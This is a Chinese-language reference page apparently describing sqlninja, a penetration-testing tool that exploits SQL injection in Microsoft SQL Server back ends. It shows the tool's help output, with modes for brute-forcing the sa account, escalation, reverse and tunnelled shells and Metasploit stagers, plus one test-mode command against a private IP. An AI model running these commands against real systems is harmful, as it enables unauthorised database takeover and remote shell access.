Sqlninja 介绍

想象一下,从Microsoft SQL服务器上的一个SQL注入到一个完整的GUI访问数据库?添加一些新的SQL注入的技巧,在注册表中添加几个远程攻击,预防禁用数据执行,混合一个自动生成的Perl调试脚本,把这所有都放在一起与Metasploit封装调试,而这一切你只需要一个sqlninja攻击模块 !

Sqlninja针对一个web应用程序利用SQL注入漏洞的工具,在使用Microsoft SQL Server的后端。

它的主要目标是提供远程访问在一个有漏洞的数据库服务器上,即使是在一个充满不利的环境。当SQL注入漏洞被发现,渗透测试人员使用它来帮助和自动SQL注入的过程时接管数据库服务。

资料来源:http://sqlninja.sourceforge.net/

Sqlninja 首页
Sqlninja 源代码库

包含在sqlninja里的工具

sqlninja - SQL服务器注入和接管工具
:~# sqlninja -h
Unknown option: h
Usage: /usr/bin/sqlninja
    -m <mode> : Required. Available modes are:
        t/test - test whether the injection is working
        f/fingerprint - fingerprint user, xp_cmdshell and more
        b/bruteforce - bruteforce sa account
        e/escalation - add user to sysadmin server role
        x/resurrectxp - try to recreate xp_cmdshell
        u/upload - upload a .scr file
        s/dirshell - start a direct shell
        k/backscan - look for an open outbound port
        r/revshell - start a reverse shell
        d/dnstunnel - attempt a dns tunneled shell
        i/icmpshell - start a reverse ICMP shell
        c/sqlcmd - issue a 'blind' OS command
        m/metasploit - wrapper to Metasploit stagers
    -f <file> : configuration file (default: sqlninja.conf)
    -p <password> : sa password
    -w <wordlist> : wordlist to use in bruteforce mode (dictionary method
                    only)
    -g : generate debug script and exit (only valid in upload mode)
    -v : verbose output
    -d <mode> : activate debug
        1 - print each injected command
        2 - print each raw HTTP request
        3 - print each raw HTTP response
        all - all of the above
    ...see sqlninja-howto.html for details

sqlninja 用法示例

连接到测试模式(-m t)在指定配置文件(-f /root/sqlninja.conf)

:~# sqlninja -m t -f /root/sqlninja.conf
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <>
[+] Parsing /root/sqlninja.conf...
[+] Target is: 192.168.1.51:80
[+] Trying to inject a 'waitfor delay'....